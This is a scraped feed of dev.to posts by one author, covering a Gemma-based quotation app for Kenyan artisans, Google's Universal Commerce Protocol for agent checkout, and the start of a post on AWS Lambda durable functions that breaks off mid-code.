&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Jua Kali Quote&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;AI-powered quotation generator for Kenyan artisans (fundis). Upload a photo of a sketch, Pinterest screenshot, or reference image and get a professional quotation with materials, labor, and pricing in KES.&lt;/p&gt;
&lt;p&gt;Built with Gemma 4 26B A4B (MoE) via Google AI Studio.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Setup&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;python3 -m venv venv
&lt;span class="pl-c1"&gt;source&lt;/span&gt; venv/bin/activate
pip install -r requirements.txt&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Copy &lt;code&gt;.env.example&lt;/code&gt; to &lt;code&gt;.env&lt;/code&gt; and add your Google AI Studio API key:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;cp .env.example .env&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Get a free API key at &lt;a href="https://aistudio.google.com/apikey" rel="nofollow noopener noreferrer"&gt;https://aistudio.google.com/apikey&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Run&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-c1"&gt;source&lt;/span&gt; venv/bin/activate
uvicorn main:app --host 0.0.0.0 --port 8000&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Open &lt;a href="http://localhost:8000" rel="nofollow noopener noreferrer"&gt;http://localhost:8000&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;How it works&lt;/h2&gt;

&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Upload a photo (sketch, Pinterest screenshot, catalog image, existing item)&lt;/li&gt;
&lt;li&gt;Select the trade (welding, carpentry, masonry, etc.)&lt;/li&gt;
&lt;li&gt;Gemma 4 analyzes the image and generates a structured quotation&lt;/li&gt;
&lt;li&gt;Edit any line item price if needed&lt;/li&gt;
&lt;li&gt;Share via WhatsApp or print as PDF&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Stack&lt;/h2&gt;

&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Python + FastAPI&lt;/li&gt;
&lt;li&gt;Gemma 4 26B A4B IT (Google AI Studio API)&lt;/li&gt;
&lt;li&gt;Vanilla HTML/CSS/JS (mobile-first)&lt;/li&gt;
&lt;li&gt;localStorage for…&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/lewisawe/jua-kali" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  How I Used Gemma 4
&lt;/h2&gt;

&lt;p&gt;I went with &lt;strong&gt;Gemma 4 26B A4B&lt;/strong&gt;, the Mixture-of-Experts variant. Three reasons.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vision that understands intent, not just pixels.&lt;/strong&gt; The model doesn't just see "a rectangle with vertical lines." It recognizes that's a gate design with panels, estimates it at roughly 12 feet wide, and knows that means four hinges, not two. It reads hand-drawn sketches and blurry phone screenshots equally well.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reasoning that produces consistent numbers.&lt;/strong&gt; This isn't image captioning. The model estimates material quantities, looks up realistic Kenyan prices (square tubes at KES 3,500, electrodes at KES 1,500, fundi day rate at KES 1,200), then adds everything up correctly. The grand total actually matches the sum of its parts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MoE efficiency for real-world speed.&lt;/strong&gt; 26B total parameters, but only 3.8B active per token. A fundi standing in front of a customer doesn't want to wait 30 seconds. The MoE architecture gives near-31B quality while keeping response times practical on a mobile connection.&lt;/p&gt;

&lt;p&gt;The technical setup is minimal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Photo upload → FastAPI backend → Gemma 4 (Google AI Studio API)
→ Structured JSON response → Rendered quotation → PDF or WhatsApp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The system prompt tells Gemma 4 to act as a Kenyan construction estimator with current market prices. No RAG, no database of prices, no fine-tuning. The base model already knows enough about Kenyan hardware stores to produce quotations that a real fundi would look at and say "yeah, that's about right."&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>gemmachallenge</category>
      <category>gemma</category>
    </item>
    <item>
      <title>How Does an AI Agent Actually Buy Something? Google Just Published the Spec.</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 24 May 2026 19:22:09 +0000</pubDate>
      <link>https://dev.to/lewisawe/how-does-an-ai-agent-actually-buy-something-google-just-published-the-spec-4pb0</link>
      <guid>https://dev.to/lewisawe/how-does-an-ai-agent-actually-buy-something-google-just-published-the-spec-4pb0</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/google-io-writing-2026-05-19"&gt;Google I/O Writing Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Google I/O 2026 said the word "agent" more than any other noun across both keynotes. Agents that code. Agents that research. Agents that plan your day. The dev community wrote about Antigravity, Gemini Spark, managed agents, agentic search.&lt;/p&gt;

&lt;p&gt;But here's what nobody asked: how does an AI agent actually buy something?&lt;/p&gt;

&lt;p&gt;Not "recommend a product." Not "show a link." Actually complete a purchase. Add to cart, select shipping, pay, confirm. On behalf of a human, talking to a merchant's backend, without ever loading a webpage.&lt;/p&gt;

&lt;p&gt;Google shipped the answer at I/O. It's called the Universal Commerce Protocol. Almost nobody in the developer community noticed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The problem UCP solves
&lt;/h2&gt;

&lt;p&gt;Today, when you ask an AI assistant to buy you running shoes, it shows you a link. You click it. You land on a website. You add to cart, enter your address, fumble with Google Pay, and check out yourself. The "agent" was just a search engine with better grammar.&lt;/p&gt;

&lt;p&gt;That's not agentic commerce. That's a recommendation engine.&lt;/p&gt;

&lt;p&gt;Real agentic commerce means the agent talks directly to the merchant's system, builds a cart, applies shipping, and completes the transaction. No browser. No webpage. No human clicking through a checkout flow.&lt;/p&gt;

&lt;p&gt;The blocker was always: there's no standard way for an AI agent to interact with a store programmatically. Every store has a different checkout API (if they have one at all). Most stores don't have one. They have HTML forms.&lt;/p&gt;

&lt;p&gt;UCP fixes this. It's a REST API specification that turns any online store into a service an AI agent can call.&lt;/p&gt;

&lt;h2&gt;
  
  
  What UCP actually is
&lt;/h2&gt;

&lt;p&gt;Universal Commerce Protocol is an open standard, &lt;a href="https://github.com/Universal-Commerce-Protocol/ucp" rel="noopener noreferrer"&gt;open-source on GitHub&lt;/a&gt;, co-designed by Google and Shopify. It defines how AI agents discover products, build carts, handle shipping, and complete checkout.&lt;/p&gt;

&lt;p&gt;It's already live. If you use AI Mode in Google Search (which crossed 1 billion monthly users at I/O), you've seen UCP-powered "Buy on Google" buttons. Those aren't just links. They're agent-initiated checkout sessions running over this protocol.&lt;/p&gt;

&lt;p&gt;The three-sentence version: A merchant implements three REST endpoints. Google's agent (or any agent) calls them to create, update, and complete checkout sessions. The merchant stays in control of pricing, inventory, and fulfillment. The agent never touches payment credentials.&lt;/p&gt;

&lt;h2&gt;
  
  
  The checkout flow, step by step
&lt;/h2&gt;

&lt;p&gt;Here's how a purchase works when Gemini Spark (Google's personal agent) buys shoes for you:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Agent builds the session.&lt;/strong&gt;&lt;br&gt;
The agent calls &lt;code&gt;POST /checkout-sessions&lt;/code&gt; with the product IDs and a partial shipping address (city, state, zip). The merchant responds with prices, tax estimates, and shipping options.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"line_items"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"item"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"product_12345"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"quantity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"fulfillment"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"methods"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"shipping"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"destinations"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"address_locality"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Sunnyvale"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"address_region"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"CA"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"postal_code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"94089"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"address_country"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"US"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. User reviews in a Google UI.&lt;/strong&gt;&lt;br&gt;
The agent hands control to a Google-rendered checkout page. The user sees the items, total, and shipping options. They select a payment method (Google Pay). The agent is not involved in this step. It never sees the credit card.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Google completes the session.&lt;/strong&gt;&lt;br&gt;
Once the user taps "Pay with GPay," Google calls &lt;code&gt;POST /checkout-sessions/{id}/complete&lt;/code&gt; with the tokenized payment credential. The merchant processes the charge and returns an order confirmation.&lt;/p&gt;

&lt;p&gt;That's it. Three endpoints: create, update, complete. A merchant who already has a checkout backend can implement this in a few days.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters more than another model announcement
&lt;/h2&gt;

&lt;p&gt;Every I/O post I read this week talks about agents in the abstract. "Agents will change everything." "The agentic era is here." Cool. But an agent that can research and plan yet can't transact is just a chatbot with a longer context window.&lt;/p&gt;

&lt;p&gt;Commerce is where agents become economically real. The moment an agent can spend money on your behalf (with your permission, within your budget), the business model for AI shifts from "subscription to a chat interface" to "commission on transactions completed." That's a different industry.&lt;/p&gt;

&lt;p&gt;UCP is the plumbing that makes that shift possible. And the design choices are interesting:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The agent never handles payment.&lt;/strong&gt; This is deliberate. The moment you hand sensitive data to an autonomous agent, you inherit liability nightmares. UCP sidesteps this by routing payment through a Google-controlled UI. The agent builds the cart. Humans authorize the money.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The merchant stays Merchant of Record.&lt;/strong&gt; Google doesn't intermediate the transaction the way Amazon does. The merchant keeps their customer data, their relationship, their fulfillment. UCP is a protocol, not a marketplace.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It's compatible with MCP, A2A, and AP2.&lt;/strong&gt; You can expose your checkout endpoints as MCP tools, use A2A for agent-to-agent negotiation, or plug into the Agent Payments Protocol. UCP doesn't lock you into Google's ecosystem. It defines the commerce primitives. The transport layer is your choice.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this means if you build e-commerce
&lt;/h2&gt;

&lt;p&gt;If you run a Shopify store, this is coming to you automatically. Shopify co-designed the protocol.&lt;/p&gt;

&lt;p&gt;If you run a custom e-commerce backend, here's the integration surface:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;POST /checkout-sessions&lt;/code&gt; (create a session from line items)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;PUT /checkout-sessions/{id}&lt;/code&gt; (update shipping, recalculate tax)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;POST /checkout-sessions/{id}/complete&lt;/code&gt; (process payment, return order)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;POST /checkout-sessions/{id}/cancel&lt;/code&gt; (cancel)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Google provides &lt;a href="https://github.com/Universal-Commerce-Protocol/python-sdk" rel="noopener noreferrer"&gt;Python&lt;/a&gt; and &lt;a href="https://github.com/Universal-Commerce-Protocol/js-sdk" rel="noopener noreferrer"&gt;JavaScript&lt;/a&gt; SDKs, plus a &lt;a href="https://github.com/Universal-Commerce-Protocol/conformance" rel="noopener noreferrer"&gt;conformance test suite&lt;/a&gt; to validate your implementation. The SLO expectations are reasonable: 95% availability, p50 latency under 1 second for session creation.&lt;/p&gt;

&lt;p&gt;The payoff: your products become purchasable directly inside Google Search AI Mode, the Gemini app, and (soon) anywhere an agent speaks UCP. No affiliate links. No "visit our website." Direct checkout inside the AI conversation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part nobody is talking about
&lt;/h2&gt;

&lt;p&gt;UCP is expanding to lodging and food. Google has waitlists open for both verticals. That means hotel booking and restaurant ordering get the same treatment: an agent calls your API, the user confirms in a Google UI, the transaction completes without a website visit.&lt;/p&gt;

&lt;p&gt;Think about what this does to SEO-driven e-commerce. If an agent can buy directly from a merchant's API during a Search conversation, the website becomes optional for the transaction. Discovery still happens (through product feeds in Merchant Center), but the conversion doesn't require a click-through anymore.&lt;/p&gt;

&lt;p&gt;That's a structural change to online commerce. Not "AI will change shopping someday." It's live, it has SDKs, and merchants are integrating right now.&lt;/p&gt;

&lt;h2&gt;
  
  
  The skeptic's questions
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;"Is this just Google capturing more of the transaction?"&lt;/strong&gt;&lt;br&gt;
They'd argue no, because the merchant stays Merchant of Record. But Google does control the surface (Search, Gemini) and the payment layer (Google Pay). Draw your own conclusions on where the power concentrates over time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Will other platforms adopt UCP?"&lt;/strong&gt;&lt;br&gt;
It's open-source and Shopify co-designed it. That's meaningful. Whether Amazon, Meta, or Apple adopt it or build their own competing protocol is the billion-dollar question. Interoperability with MCP and A2A suggests Google wants this to be a lingua franca, not a walled garden. Time will tell.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Do consumers actually want agents buying things for them?"&lt;/strong&gt;&lt;br&gt;
Probably not yet for expensive purchases. But for replenishment (toothpaste, dog food, contacts), routine bookings (same hotel, same rental car), and low-stakes impulse buys? The friction reduction is real. Google's Gemini Spark starts with a "check with you before taking major actions" guardrail for a reason.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it yourself
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Read the &lt;a href="https://developers.google.com/merchant/ucp/" rel="noopener noreferrer"&gt;UCP documentation&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Browse the &lt;a href="https://github.com/Universal-Commerce-Protocol/ucp" rel="noopener noreferrer"&gt;open-source spec on GitHub&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Grab the &lt;a href="https://github.com/Universal-Commerce-Protocol/python-sdk" rel="noopener noreferrer"&gt;Python SDK&lt;/a&gt; or &lt;a href="https://github.com/Universal-Commerce-Protocol/js-sdk" rel="noopener noreferrer"&gt;JS SDK&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Run the &lt;a href="https://github.com/Universal-Commerce-Protocol/conformance" rel="noopener noreferrer"&gt;conformance tests&lt;/a&gt; against your endpoints&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://support.google.com/merchants/contact/ucp_integration_interest" rel="noopener noreferrer"&gt;Join the waitlist&lt;/a&gt; if you're a merchant&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The protocol that lets AI agents spend money exists, is open, and is already processing transactions in Google Search. That's not a keynote prediction. It's infrastructure you can build on today.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>googleiochallenge</category>
    </item>
    <item>
      <title>Lambda Durable Functions, When You Don't Need Step Functions</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Wed, 13 May 2026 11:51:48 +0000</pubDate>
      <link>https://dev.to/aws-builders/lambda-durable-functions-when-you-dont-need-step-functions-20bn</link>
      <guid>https://dev.to/aws-builders/lambda-durable-functions-when-you-dont-need-step-functions-20bn</guid>
      <description>&lt;p&gt;At re:Invent 2025, AWS added a new primitive to Lambda called durable execution. Your function can now checkpoint its progress, survive failures without restarting from scratch, and suspend for up to a year without paying for compute time.&lt;/p&gt;

&lt;p&gt;If you've used Azure Durable Functions or Temporal, the concept is familiar. If you haven't, the short version is that your Lambda function can pause mid-execution, wait for something external (a human approval, a webhook, a scheduled delay), and resume exactly where it left off. No DynamoDB state table. No Step Functions state machine. Just code.&lt;/p&gt;

&lt;p&gt;This post covers what it is, how it works, when to use it instead of Step Functions, and what it actually looks like to build with.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem It Solves
&lt;/h2&gt;

&lt;p&gt;Standard Lambda functions run from start to finish in a single invocation. Maximum 15 minutes. If something fails at step 7 of 10, you retry the whole thing. If you need to wait for a human to click "approve," you need to save state somewhere, set up an API Gateway endpoint to receive the callback, wire up the resume logic, and handle the case where your function code changed between the pause and the resume.&lt;/p&gt;

&lt;p&gt;Most teams solve this with Step Functions, which works well but means defining your workflow in Amazon States Language (a JSON DSL) or the CDK Step Functions constructs. Your business logic lives in Lambda, your orchestration logic lives in Step Functions, and you context-switch between two mental models.&lt;/p&gt;

&lt;p&gt;Lambda Durable Functions puts both in the same file.&lt;/p&gt;

&lt;h2&gt;
  
  
  How It Works
&lt;/h2&gt;

&lt;p&gt;You enable durable execution when you create the function (a &lt;code&gt;DurableConfig&lt;/code&gt; block in your SAM template or CDK construct). Then you use the durable execution SDK in your handler code.&lt;/p&gt;

&lt;p&gt;The SDK gives you a few primitives.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;context.step()&lt;/code&gt;&lt;/strong&gt; runs a block of code and checkpoints the result. If the function fails later and replays, this step is skipped and its cached result is returned.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;context.wait()&lt;/code&gt;&lt;/strong&gt; suspends execution for a duration (minutes, hours, days). No compute charges during the wait.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;context.waitForCallback()&lt;/code&gt;&lt;/strong&gt; suspends until an external system calls back with a success or failure. Up to one year.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;context.waitForCondition()&lt;/code&gt;&lt;/strong&gt; polls a condition on a schedule until it returns true.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;context.parallel()&lt;/code&gt;&lt;/strong&gt; runs multiple durable operations concurrently.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;context.invoke()&lt;/code&gt;&lt;/strong&gt; calls another Lambda function and checkpoints the result.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Under the hood, Lambda uses a checkpoint/replay mechanism. When your function resumes (after a wait, a failure, or a deployment), Lambda invokes your handler from the top. The SDK replays through completed steps instantly (returning cached results) and picks up execution at the point where it left off.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2tv9zm62pfk8d96mker.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2tv9zm62pfk8d96mker.png" alt="checkpoint/replay diagram" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What It Looks Like
&lt;/h2&gt;

&lt;p&gt;A user onboarding flow that creates a profile, waits up to 24 hours for email verification, then sends a welcome email.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;DurableContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;withDurableExecution&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@aws/durable-execution-sdk-js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;withDurableExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;DurableContext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;profile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;create-profile&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;createUserProfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;verification&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;waitForCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;wait-for-email-verification&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;callbackId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sendVerificationEmail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;callbackId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;hours&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;complete-onboarding&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;verification&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;verification&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;verified&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
